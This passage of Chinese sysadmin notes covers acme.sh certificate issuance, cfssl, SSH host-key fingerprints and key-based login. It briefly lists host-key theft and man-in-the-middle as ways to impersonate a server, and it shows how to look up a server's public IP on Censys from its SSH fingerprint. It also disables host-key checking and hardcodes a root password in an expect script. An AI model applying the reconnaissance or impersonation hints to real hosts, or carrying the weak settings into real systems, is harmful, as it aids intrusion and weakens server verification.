         --key-file /etc/nginx/ssl/esofar.cn.key \
         --fullchain-file /etc/nginx/ssl/fullchain.cer \
         --reloadcmd "service nginx force-reload"

更新 acme.sh

目前由于 acme 协议和 letsencrypt CA 都在频繁的更新, 因此acme.sh 也经常 更新以保持同步。

# 升级 acme.sh 到最新版:
acme.sh --upgrade
# 如果您不想手动升级,,可以开启自动升级:
acme.sh  --upgrade  --auto-upgrade
# 您也可以随时关闭自动更新:
acme.sh --upgrade  --auto-upgrade  0

Let'sEncrypt 证书更新显示 It seems the CA server is busy now 解决方法 看官方升级api接口

# 升级 acme.sh 到最新版:
acme.sh --upgrade

申请证书-dns方式

https://github.com/acmesh-official/acme.sh/wiki/dnsapi

范例:申请阿里云证书-dns方式

# 定义全局变量
export Ali_Key="LTAI4Fqcsxxxb" 
export Ali_Secret="whTtvJsQwYxxxg"
# 申请证书
~/.acme.sh/acme.sh --issue --dnssleep 10 --dns dns_ali -d qx.com -d "*.qx.com" 
# 等待...
# 续费所有证书
~/.acme.sh/acme.sh --renew-all --dnssleep 10

范例:aws route53

export  AWS_ACCESS_KEY_ID=XXXXXXXXXX
export  AWS_SECRET_ACCESS_KEY=XXXXXXXXXXXXXXX

./acme.sh --issue --dns dns_aws -d example.com -d www.example.com

#AWS_ACCESS_KEY_ID 、 AWS_SECRET_ACCESS_KEY和AWS_DNS_SLOWRATE将自动保存在~/.acme.sh/account.conf中,并在需要时重复使用。

范例:aws route53 并执行证书同步脚本

#root
groupadd acme_group
useradd -d /home/aws-ssl -g acme_group aws-ssl

mkdir /opt/acme_result
chmod 775 /opt/acme_result/
chown :acme_group /opt/acme_result/

su - aws-ssl
cd ~/.acme.sh
cat <<\EOF> create.sh 
if [ $# -ne 2 ];then
echo "请传递 域名、监听id 两个参数"
exit
fi
domain=$1
listen_id=$2
domain_dir=/opt/acme_result/${domain}
mkdir -p ${domain_dir}

./acme.sh --issue --dns dns_aws -d ${domain} -d *.${domain} -d *.qa.${domain} \
--cert-file      ${domain_dir}/cert.pem  \
--key-file       ${domain_dir}/key.pem  \
--fullchain-file ${domain_dir}/fullchain.pem \
--reloadcmd     "/opt/acme_venv/bin/python /opt/shell/deploy_aliyun_cert.py ${domain} sg ${listen_id}"
EOF

追加域名

下面命令中两个”-d”建议先输入泛域名,这样在证书里可以显示*.xx.com这样的泛域名,

~/.acme.sh/acme.sh --issue --dnssleep 10 --dns dns_ali -d yz.com -d "*.yz.com" -d "*.yf.yz.com"

续费所有证书

~/.acme.sh/acme.sh --renew-all --dnssleep 10

测试nginx的公网地址

# 申请
~/.acme.sh/acme.sh --issue --dnssleep 10    --dns dns_ali -d yz.com -d "*.yz.com" \
--installcert\
--key-file /usr/local/nginx/conf/yz.com.key \
--fullchain-file /usr/local/nginx/conf/fullchain.cer \
--reloadcmd "service nginx force-reload"
# 续费
~/.acme.sh/acme.sh --renew --dns -d ss.com -d *.ss.com

# 申请
*.xyf.com域名证书申请
~/.acme.sh/acme.sh --issue --dns dns_ali -d xyf.com-d "*.xyf.com"
# 续费
~/.acme.sh/acme.sh --renew --force --dns dns_ali    -d xyf.com    -d "*.xyf.com"

cfssl

CFSSL是CloudFlare开源的一款PKI/TLS工具。 CFSSL 包含一个命令行工具和一 个用于 签名,验证并且捆绑TLS证书的 HTTP API 服务。 使用Go语言编写。

cfssl自签证书工具集包含3个软件:

  • cfssl: 用于签发证书;
  • cfssljson: 将cfssl签发生成的证书(json格式)变成文件承载式文件;
  • cfssl-certinfo: 验证查看证书信息。

下载cfssl工具:https://pkg.cfssl.org/.

curl -s -L -o /bin/cfssl https://pkg.cfssl.org/R1.2/cfssl_linux-amd64
curl -s -L -o /bin/cfssljson https://pkg.cfssl.org/R1.2/cfssljson_linux-amd64
curl -s -L -o /bin/cfssl-certinfo https://pkg.cfssl.org/R1.2/cfssl-certinfo_linux-amd64
chmod +x /bin/cfssl*

ssh服务

ssh服务介绍

官网:https://www.openssh.com/manual.html

ssh: secure shell, protocol, 22/tcp, 安全的远程登录,代替 telnet

具体的软件实现:

  • OpenSSH: ssh协议的开源实现,CentOS默认安装
  • dropbear:另一个开源实现

SSH协议版本

  • v1: 基于CRC-32做MAC,不安全;man-in-middle
  • v2:双方主机协议选择安全的MAC方式,基于DH算法做密钥交换,基于RSA或DSA实现身份认证

公钥交换原理

image-20210120191513811.png
image-20210120191532193.png

主机公钥和私钥位置/etc/ssh/

# 主机公钥和私钥位置/etc/ssh/
[root@pre-prod ~]# ll /etc/ssh/
-rw-r--r--  1 root root       2284 Dec 21 15:32 ssh_config
-rw-------  1 root root       3905 Mar 18  2020 sshd_config
-rw-r-----. 1 root ssh_keys    227 Mar 17  2020 ssh_host_ecdsa_key
-rw-r--r--. 1 root root        162 Mar 17  2020 ssh_host_ecdsa_key.pub
-rw-r-----. 1 root ssh_keys   1679 Mar 17  2020 ssh_host_rsa_key
-rw-r--r--. 1 root root        382 Mar 17  2020 ssh_host_rsa_key.pub
  • 客户端发起链接请求,人为确认对方身份。如:ssh命令 ssh 10.0.1.80
  • 服务端返回自己的公钥,以及一个会话ID(这一步客户端得到服务端公钥)如 /etc/ssh/ssh_host_ecdsa_key.pub公钥文件
  • 客户端生成密钥对
  • 客户端用自己的公钥异或会话ID,计算出一个值Res,并用服务端的公钥加密
  • 客户端发送加密后的值到服务端,服务端用私钥解密,得到Res
  • 服务端用解密后的值Res异或会话ID,计算出客户端的公钥(这一步服务端得到客户端公钥)
  • 最终:双方各自持有三个秘钥,分别为自己的一对公、私钥,以及对方的公钥,之后的所有通讯都会被加密

范例:验证身份确认,哈希值

#远端服务器公钥文件
[ec2-user@ip-172-31-5-34 ~]$ ls /etc/ssh/ssh_host_e*.pub
/etc/ssh/ssh_host_ecdsa_key.pub  /etc/ssh/ssh_host_ed25519_key.pub

# 1. 确认哈希值 。第一次确定身份,之后就不用了。将公钥信息保存到了本地
#本地ssh登录无端服务
root@VM-8-13-ubuntu:~# ssh [email protected]
The authenticity of host '15.207.14.66 (15.207.14.66)' can't be established.
ED25519 key fingerprint is SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0.  #哈希值
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes # 第一次确定身份
Warning: Permanently added '15.207.14.66' (ED25519) to the list of known hosts.
[email protected]: Permission denied (publickey,gssapi-keyex,gssapi-with-mic). #因为没做免密,所以无法登录

#交换公钥,并保存在.ssh/known_hosts文件
root@VM-8-13-ubuntu:~# cat .ssh/known_hosts |grep 15.207.14.66
15.207.14.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ

#如果能成功登录,会把远端/etc/ssh/ssh_host_e*.pub公钥信息和~/.ssh/id_rsa.pub公钥信息保存到本地.ssh/known_hosts文件中
#[10.3.8.13]:65522 ssh-ed25519 AAAxxxxz
#[10.3.8.13]:65522 ssh-rsa AAAAB3Nzxxxxx
#[10.3.8.13]:65522 ecdsa-sha2-nistp256 AAAAE2Vj

#查看~/.ssh/known_hosts中保存远端的指纹信息
root@VM-8-13-ubuntu:~# ssh-keygen -E sha256 -lf ~/.ssh/known_hosts
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 15.207.14.66 (ED25519)


#对比远端公钥信息和公钥指纹(哈希值)是否和known_hosts的一样
[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ed25519_key.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ [email protected]

[ec2-user@ip-172-31-5-34 ~]$ ssh-keygen -E sha256 -lf /etc/ssh/ssh_host_ed25519_key.pub
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 [email protected] (ED25519)


#伪装
# 方法1 偷取目标机器的私钥/etc/ssh/ssh_host_ecdsa_key到本地重启sshd,并冒充目标ip
# 方法2 中间劫持
指纹信息

known_hosts

~/.ssh/known_hosts 用于存储远程主机的公钥信息,以确保用户连接到的是合法的服务器,防止中间人攻击。 这个文件中的内容通常是以一种哈希的形式存储的,这意味着即使文件被查看,也无法直接从中获取到明文的IP地址信息

格式如下

[主机名或IP地址],[可选的端口号] [密钥类型] [公钥内容]

范例

root@VM-8-13-ubuntu:~# cat .ssh/known_hosts
15.207.14.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ

默认保存的信息是通过密文保存的, 可修改/etc/ssh/ssh_config文件,将 HashKnownHosts 默认值 yes 改为 no,清空 known_hosts 文件,再连接服务端,就可以看到 known_hosts 已经显示 IP 地址了

获取公钥信息

#远程查看公钥
ssh-keyscan -t 公然类型 ip或名称

#本地公钥
ll /etc/ssh/ssh_host_e*.pub
ll ~/.ssh/id_rsa.pub

范例:

#获取无端ssh公钥
root@VM-8-13-ubuntu:~# ssh-keyscan  -p 22 15.207.14.66
15.207.14.66 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH8D9w22YKZ9qPtMpPh2UTxwHtblvzYpKveqj5TvtARgLUUmftv72hnDetPDaekBxe3+F776dV9DXThcFSlKIeU=
15.207.14.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ

root@VM-8-13-ubuntu:~# ssh-keyscan -t ed25519 -p 22 15.207.14.66
15.207.14.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ
root@VM-8-13-ubuntu:~# ssh-keyscan -t ECDSA -p 22 15.207.14.66
15.207.14.66 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH8D9w22YKZ9qPtMpPh2UTxwHtblvzYpKveqj5TvtARgLUUmftv72hnDetPDaekBxe3+F776dV9DXThcFSlKIeU=

#查看本地公钥
[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ecdsa_key.pub 
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH8D9w22YKZ9qPtMpPh2UTxwHtblvzYpKveqj5TvtARgLUUmftv72hnDetPDaekBxe3+F776dV9DXThcFSlKIeU= [email protected]
[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ed25519_key.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ [email protected]

公钥指纹转换

ssh-keygen -E 哈希类型 -lf 公钥文件

范例

#本地公钥指纹
[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ed25519_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ [email protected]

[ec2-user@ip-172-31-5-34 ~]$ ssh-keygen -E sha256 -lf /etc/ssh/ssh_host_ed25519_key.pub 
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 [email protected] (ED25519)
[ec2-user@ip-172-31-5-34 ~]$ ssh-keygen -E md5 -lf /etc/ssh/ssh_host_ed25519_key.pub 
256 MD5:a3:0a:34:dc:ba:ba:a1:27:59:06:84:2f:e1:ae:38:d5 [email protected] (ED25519)

#远端公钥指纹
root@VM-8-13-ubuntu:~# ssh-keygen -E sha256 -lf ~/.ssh/known_hosts
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 15.207.14.66 (ED25519)
root@VM-8-13-ubuntu:~# ssh-keygen -E md5 -lf ~/.ssh/known_hosts
256 MD5:a3:0a:34:dc:ba:ba:a1:27:59:06:84:2f:e1:ae:38:d5 15.207.14.66 (ED25519)

root@VM-8-13-ubuntu:~# ssh-keyscan -t ED25519 -p 22 15.207.14.66 2>/dev/null | ssh-keygen -E sha256 -lf -
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 15.207.14.66 (ED25519)
root@VM-8-13-ubuntu:~# ssh-keyscan -t ED25519 -p 22 15.207.14.66 2>/dev/null | ssh-keygen -E md5 -lf -
256 MD5:a3:0a:34:dc:ba:ba:a1:27:59:06:84:2f:e1:ae:38:d5 15.207.14.66 (ED25519)

其他方法

[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ed25519_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ [email protected]

#公钥md5
~# echo 'AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ' |base64 -d | md5sum
a30a34dcbabaa1275906842fe1ae38d5  -

#公钥sha256
~# echo 'AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ' |base64 -d | shasum -a 256 -b
3344ebb77ea0faece5b3bae2d7fb5424150bd61e02ae051160017ad44bd3767d *-

~# echo 'AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ' |base64 -d | shasum -a 256 -b | awk '{print $1}' | xxd -r -p | base64|cut -d '=' -f1
M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0

ssh指纹收集

ssh sha256大概率是全球唯一值,因此若目标开放SSH服务到公网,这个值极有可能被网络空间搜索引擎抓取,从而可以利用这个Hash检索出其公网IP.

范例:获取Hash值

#计算SHA256,注意到该Hash的编码方式去掉了最后的"="号,需要补足
root@VM-8-13-ubuntu:~# echo 'M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0''=' |base64 -d |xxd -p -c 100
3344ebb77ea0faece5b3bae2d7fb5424150bd61e02ae051160017ad44bd3767d

Sha256 Hash检索网站:https://search.censys.io/data 搜索语法:

services.ssh.server_host_key.fingerprint_sha256=3344ebb77ea0faece5b3bae2d7fb5424150bd61e02ae051160017ad44bd3767d

ssh加密通讯原理

image-20210120191544765.png

openssh

OpenSSH是SSH (Secure SHell)协议的免费开源实现,一般在各种Linux版本中 会默认安装,基于C/S结构

Openssh软件相关包:

  • openssh 通用包
  • openssh-clients
  • openssh-server

范例:相关包

[root@centos8 ~]#rpm -qa openssh*
openssh-7.8p1-4.el8.x86_64
openssh-server-7.8p1-4.el8.x86_64
openssh-clients-7.8p1-4.el8.x86_64

[root@centos8 ~]#rpm -ql openssh-server
/etc/pam.d/sshd
/etc/ssh/sshd_config
/etc/sysconfig/sshd
/usr/lib/systemd/system/sshd-keygen.target
/usr/lib/systemd/system/[email protected]
/usr/lib/systemd/system/sshd.service
/usr/lib/systemd/system/sshd.socket
/usr/lib/systemd/system/[email protected]
/usr/lib/tmpfiles.d/openssh.conf
/usr/libexec/openssh/sshd-keygen
/usr/sbin/sshd


[root@centos8 ~]#rpm -ql openssh-clients
/etc/ssh/ssh_config
/etc/ssh/ssh_config.d
/etc/ssh/ssh_config.d/05-redhat.conf
/usr/bin/scp
/usr/bin/sftp
/usr/bin/ssh
/usr/bin/ssh-add
/usr/bin/ssh-agent
/usr/bin/ssh-copy-id
/usr/bin/ssh-keyscan

[root@centos8 ~]#rpm -ql openssh
/etc/ssh
/etc/ssh/moduli
/usr/bin/ssh-keygen
/usr/libexec/openssh
/usr/libexec/openssh/ssh-keysign

服务器:/usr/sbin/sshd

Unit 文件:/usr/lib/systemd/system/sshd.service

客户端:

  • Linux Client: ssh, scp, sftp,slogin
  • Windows Client:xshell, MobaXterm,putty, securecrt, sshsecureshellclient

客户端ssh命令

ssh命令是ssh客户端,允许实现对远程系统经验证地加密安全访问

当用户远程连接ssh服务器时,会复制ssh服务器 /etc/ssh/ssh_host*key.pub 文件中的公钥到客户机d的 ~./ssh/know_hosts 中。下次连接时,会自动匹配 相应私钥,不能匹配,将拒绝连接

ssh客户端配置文件 :/etc/ssh/ssh_config

主要配置

#StrictHostKeyChecking ask
首次登录不显示检查提示
StrictHostKeyChecking no

# IdentityFile ~/.ssh/id_rsa
# IdentityFile ~/.ssh/id_dsa
# IdentityFile ~/.ssh/id_ecdsa
# IdentityFile ~/.ssh/id_ed25519
# Port 22

# 指定客户端访问端口
cat <<\EOF >> ~/.ssh/config
host git.cn
hostname git.cn
port 11822
EOF

范例:禁止首次连接的询问过程

[root@centos7 ~]#sed -i.bak '/StrictHostKeyChecking/s/.*/StrictHostKeyChecking no/' /etc/ssh/ssh_config

格式:

ssh [user@]host [COMMAND]
ssh [-l user] host [COMMAND]

常见选项

-p port:远程服务器监听的端口
-b 指定连接的源IP
-v 调试模式,"-vvv"可更详细
-C 压缩方式
-X 支持x11转发
-t:强制伪tty分配,如:ssh -t remoteserver1 ssh -t remoteserver2 ssh remoteserver3
-o option 指定ssh客户端配置 
   StrictHostKeyChecking=no 禁止首次连接的询问
   PreferredAuthentications=publickey 强制使用公钥验证

-i <file> 指定私钥文件路径,实现基于key验证,默认使用文件: ~/.ssh/id_dsa,~/.ssh/id_ecdsa, ~/.ssh/id_ed25519,~/.ssh/id_rsa等

其它选项
-1:强制使用ssh协议版本1;
-2:强制使用ssh协议版本2;
-4:强制使用IPv4地址;
-6:强制使用IPv6地址;
-A:开启认证代理连接转发功能;
-a:关闭认证代理连接转发功能;
-T: 禁用tty分配(pseudo-terminal allocation)
-F:指定ssh指令的配置文件;
-f:后台执行ssh指令;
-g:允许远程主机连接主机的转发端口;
-i:指定身份文件;
-l user: 以指定的用户登录远程主机;
-N:不执行远程指令;
-n: 重定向stdin为/dev/null,用于配合-f后台任务。能解决 while 循环中使用ssh问题
-L参数会在本地监听一个端口,转发数据到远程主机上
-q:静默模式;
-x:关闭X11转发功能;
-y:开启信任X11转发功能
-Y:支持信任的X11转发;

范例: -t强制伪tty分配 . 从centos8连接到cento6,中间经过多台服务器跳转

[root@centos8 ~]#ssh -t 10.0.0.8 ssh -t 10.0.0.77 ssh 10.0.0.6
[email protected]'s password: 
[email protected]'s password: 
[email protected]'s password: 
Last login: Thu May 21 22:17:57 2020 from 10.0.0.77
[root@centos6 ~]#

本地打包远程传送并解压

tar -cf - *|ssh -t [email protected] "cd /opt/project/client/cst-wallet-sdk/staging$pdate; tar -xf -"

范例:远程执行命令,ssh客户端禁止首次连接的询问过程

[root@centos6 ~]#ssh 10.0.0.8 "sed -i.bak '/StrictHostKeyChecking/s/.*/StrictHostKeyChecking no/' /etc/ssh/ssh_config"
[email protected]'s password: 
[root@centos6 ~]#

范例:在远程主机运行本地shell脚本(很实用)

[root@centos8 ~]#hostname -I
10.0.0.88 192.168.122.1 
[root@centos8 ~]#cat test.sh 
#!/bin/bash
hostname -I
[root@centos8 ~]#ssh 10.0.0.8 /bin/bash < test.sh 
[email protected]'s password: 
10.0.0.8 192.168.122.1 

范例:lastb 远程登录失败的记录

[root@centos8 ~]#lastb -f btmp-test | awk '{print $3}'|sort |uniq -c|sort -nr|head
86294 58.218.92.37
43148 58.218.92.26
18036 112.85.42.201
10501 111.26.195.101
10501 111.231.235.49
10501 111.204.186.207
10501 111.11.29.199
10499 118.26.23.225
 6288 42.7.26.142
 4236 58.218.92.30
[root@centos8 ~]#lastb -f btmp-test | awk '{ip[$3]++}END{for(i in ip){print ip[i],i}}'|sort -nr|head
86294 58.218.92.37
43148 58.218.92.26
18036 112.85.42.201
10501 111.26.195.101
10501 111.231.235.49
10501 111.204.186.207
10501 111.11.29.199
10499 118.26.23.225
 6288 42.7.26.142
 4236 58.218.92.30

范例:通过SSH将MySQL数据库复制到新服务器

# 1. 通过SSH将MySQL数据库复制到新服务器
#通过压缩的SSH隧道Dump一个MySQL数据库,将其作为输入传递给mysql命令,我认为这是迁移数据库到新服务器最快最好的方法。
mysqldump –add-drop-table –extended-insert \
–force –log-error=error.log \
-uUSER -pPASS OLD_DB_NAME \
| ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"


# 2. 实时SSH网络吞吐量测试
# 通过SSH连接到主机,显示实时的传输速度,将所有传输数据指向/dev/null,需要先安装pv
yes | pv | ssh 主机 "cat > /dev/null"
0:00:18 [ 103MiB/s]

ssh登录验证方式介绍

ssh服务登录的验证方式

  • 用户/口令
  • 基于密钥

基于用户和口令登录验证

image-20210120191707930.png
  1. 客户端发起ssh请求,服务器会把自己的公钥发送给用户
  2. 用户会根据服务器发来的公钥对密码进行加密
  3. 加密后的信息回传给服务器,服务器用自己的私钥解密,如果密码正确,则用户登录成功

基于密钥的登录方式 (生产环境经常用到)

image-20210120191725505.png
  1. 首先在客户端生成一对密钥( ssh-keygen
  2. 并将客户端的公钥 ssh-copy-id 拷贝到服务端 ~/.ssh 目录
  3. 当客户端再次发送一个连接请求,包括ip、用户名 。 如 ssh [email protected]
  4. 服务端得到客户端的请求后,会到 authorized_keys 中查找,如果有响应 的IP和用户,就会随机生成一 个字符串,例如:msg
  5. 服务端将使用客户端拷贝过来的公钥进行加密,然后发送给客户端
  6. 得到服务端发来的消息后,客户端会使用私钥进行解密,然后将解密后的字符串发送给服务端
  7. 服务端接受到客户端发来的字符串后,跟之前的字符串进行对比,如果一致,就允许免密码登录

实现基于密钥的登录方式

第1步:在客户端生成密钥对

ssh-keygen -t rsa [-P 'password'] [-f “~/.ssh/id_rsa"]
#可以直接执行ssh-keygen ,后面的一串可以生成
#默认rsa加密,~/.shh是默认路径,密码视情况而定

选项
-t  {rsa|ecdsa|dsa}:公钥加密算法类型;
-b bits:指明密钥长度;
-P passphrase:私钥加密密码; -P '' 设置空密码
-f output_keyfile:生成密钥的保存位置;
-C 注释

注意事项
.ssh目录的属主、属组使用当前用户与用户组
.ssh目录的权限请保持700
authorized_keys的权限为644
id_rsa的权限为600
id_rsa.pub的权限为644
检查用户$HOME目录权限必须为755

范例:

su - xcw -c "ssh-keygen -t rsa -P '' -f /home/xcw/.ssh/id_rsa"

第2步:把公钥文件传输至远程服务器对应用户的家目录

ssh-copy-id [-i [identity_file]]  [-p port]  [-o ssh_option]  [user@]host
# 内部逻辑
cat ~/.ssh/id_rsa.pub | ssh $1 "umask 077; test -d ~/.ssh || mkdir ~/.ssh ; cat >> ~/.ssh/authorized_keys || exit 1"

其它:

重设私钥口令:

ssh-keygen –p

验证代理(authentication agent)保密解密后的密钥,口令就只需要输入一次, 在GNOME中,代理被自动提供给root用户

#启用代理
ssh-agent bash
#钥匙通过命令添加给代理
ssh-add

在SecureCRT或Xshell实现基于key验证

在SecureCRT工具—>创建公钥—>生成Identity.pub文件

转化为openssh兼容格式(适合SecureCRT,Xshell不需要转化格式),并复制到 需登录主机上相应文件authorized_keys中,注意权限必须为600,在需登录的ssh 主机上执行:

ssh-keygen -i -f Identity.pub >> .ssh/authorized_keys

范例: 实现基于 key 验证

# 1. 生成公钥私钥对
[root@centos8 ~]#ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):  #回车,接受默认值
Enter passphrase (empty for no passphrase):   #回车,接受默认值,空密码
Enter same passphrase again:   #回车,接受默认值

[root@centos8 ~]#ll .ssh/
total 12
-rw------- 1 root root 2602 May 22 22:40 id_rsa
-rw-r--r-- 1 root root  566 May 22 22:40 id_rsa.pub
[root@centos8 ~]#cat .ssh/id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbzJCv07jz13pWXljBT5HdWQoK71Oa537kxQ5e4uRbvUGYHfOei5YKX2Ke7f9pm5OycPgYId6fjAphcl7FkqF03SNIrds8HfLA2BbyXLP76hh/XzyK1lAXlMQL964kCtEdllHxBM+Z6ymAsepDj4bYaQx5jyYW66e/sbjNbQlqtnevWd3W/9ifd9xC9RdU/xEFxiphCEBXNo9hS8zEFhqaXqHHJkWfTyb8O735GMC8yDXtUyAs+zNVDY7k7EDSGMD7t25R5DcBXI9rrCQICoIHU/UWAiXeHu8To2ryr7j0g4UeI8DvksTo3BSwLOTzYb8bM41s1ZiP4gwtlgsIP1F1fJKQi1xVmQsL+h44pN/QGvPUEOEk5CvCD1SRu3gOrkDNhA6Cwpq9HDGpF3KkbCuTXU0ZL4b4O6+6zD8jemI5pfBzrhp05t/X5ZX10BGrqNDb0r22jgwy8E8CGUEuSt0OkJQR07W0l1/m/ivRvIufb7C1B/ATKiaLd4ZLPXGlNJc= root@centos8
[root@centos8 ~]#cat .ssh/id_rsa

# 2. 把公钥文件传输至远程服务器对应用户的家目录
[root@centos8 ~]#ssh-copy-id [email protected]
[email protected]’s password:  #输入远程用户的密码


[root@Centos7 ~]#ll .ssh/
total 8
-rw------- 1 root root 566 May 22 22:42 authorized_keys
[root@Centos7 ~]#cat .ssh/authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbzJCv07jz13pWXljBT5HdWQoK71Oa537kxQ5e4uRbvUGYHfOei5YKX2Ke7f9pm5OycPgYId6fjAphcl7FkqF03SNIrds8HfLA2BbyXLP76hh/XzyK1lAXlMQL964kCtEdllHxBM+Z6ymAsepDj4bYaQx5jyYW66e/sbjNbQlqtnevWd3W/9ifd9xC9RdU/xEFxiphCEBXNo9hS8zEFhqaXqHHJkWfTyb8O735GMC8yDXtUyAs+zNVDY7k7EDSGMD7t25R5DcBXI9rrCQICoIHU/UWAiXeHu8To2ryr7j0g4UeI8DvksTo3BSwLOTzYb8bM41s1ZiP4gwtlgsIP1F1fJKQi1xVmQsL+h44pN/QGvPUEOEk5CvCD1SRu3gOrkDNhA6Cwpq9HDGpF3KkbCuTXU0ZL4b4O6+6zD8jemI5pfBzrhp05t/X5ZX10BGrqNDb0r22jgwy8E8CGUEuSt0OkJQR07W0l1/m/ivRvIufb7C1B/ATKiaLd4ZLPXGlNJc= root@centos8

# 3. 测试
[root@centos8 ~]#ssh 10.0.0.77
Last login: Fri May 22 18:45:18 2020 from 10.0.0.8
[root@Centos7 ~]#exit
logout
Connection to 10.0.0.77 closed.
[root@centos8 ~]#scp /etc/fstab 10.0.0.77:/data
fstab                                     100%  709   202.1KB/s   00:00   

#对私钥加密
[root@centos8 ~]#ssh-keygen -p
Enter file in which the key is (/root/.ssh/id_rsa): 
Key has comment 'root@centos8'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.

[root@centos8 ~]#ssh 10.0.0.77
Enter passphrase for key '/root/.ssh/id_rsa': #输入私钥的密码
Last login: Fri May 22 23:20:50 2020 from 10.0.0.8
[root@centos7 ~]#exit
logout
Connection to 10.0.0.77 closed.

#启用ssh代理,临时性的,exit即可退出
[root@centos8 ~]#ssh-agent bash # 启动并进入代理程序环境里
[root@centos8 ~]#ps aux |grep agent
root       5931  0.0  0.0  29444   548 ?        Ss   23:48   0:00 ssh-agent bash
root       5958  0.0  0.0  12108   964 pts/0    S+   23:48   0:00 grep --color=auto agent

[root@centos8 ~]#ssh-add # 将密码托管给代理服务
Identity added: /root/.ssh/id_rsa (root@centos8)
[root@centos8 ~]#ssh 10.0.0.77
Last login: Fri May 22 23:43:11 2020 from 10.0.0.8

范例:基于key验证实现批量主机管理

[root@centos8 ~]#cat hosts.txt
10.0.0.7
10.0.0.6
[root@centos8 ~]#for i in `cat hosts.txt`;do ssh $i hostname -I ;done
10.0.0.7
10.0.0.6

范例:实现xshell的基于key验证

image-20210120194553421.png
image-20210120194615981.png
image-20210120194645851.png

image-20210120194720098.png image-20210120194731859.png

image-20210120194747633.png
[root@centos8 ~]#rz -E
rz waiting to receive.
[root@centos8 ~]#ls
 anaconda-ks.cfg  id_rsa_1024(xshell).pub
[root@centos8 ~]#cat id_rsa_1024(xshell).pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAw4zT+e9iFU691e+oRs32VMZppWm9EKK11HqogMqIQ8sQkun4lOCdE8nbsrSFTESV/x9yztRHwWTDU7366t0WfTC549MXxpu921+IZd5JzkOHuc8D+AxNPLRp/F4kZTE2wlwuRaawU2OFsKf9whLwFR52JqciTdueGgbzA2OB4Q8=
[root@centos8 ~]#mkdir .ssh ; chmod 700 .ssh
[root@centos8 ~]#cat id_rsa_1024(xshell).pub > .ssh/authorized_keys
[root@centos8 ~]#chmod 600 .ssh/authorized_keys
[root@centos8 ~]#ll .ssh/authorized_keys
-rw------- 1 root root 208 May 23 00:03 .ssh/authorized_keys

使用xshell连接

image-20210409153924877.png
image-20210409153949139.png
image-20210409154023483.png

范例:expect实现批量基于ssh的key部署

[root@centos8 ~]#cat push_ssh_key.sh
#!/bin/bash
PASS=1433236299
rpm -q expect &> /dev/null || yum install -y expect &> /dev/null
ssh-keygen -t rsa -P "" -f /root/.ssh/id_rsa &> /dev/null && echo "ssh key is created"
while read IP ;do
expect <<EOF &> /dev/null   #或者 expect &> /dev/null <<EOF
set timeout 20
spawn ssh-copy-id -i /root/.ssh/id_rsa.pub root@$IP
expect {
    "yes/no" { send "yes/no";exp_continue }
    "password" { send "$PASS\n" }
}
expect eof
EOF
echo $IP is ready
done < hosts.txt

[root@centos8 ~]#cat hosts.txt 
10.0.0.6
10.0.0.77
[root@centos8 ~]#bash push_ssh_key.sh 
ssh key is created
10.0.0.6 is ready
10.0.0.77 is ready
[root@centos8 ~]#ssh 10.0.0.6
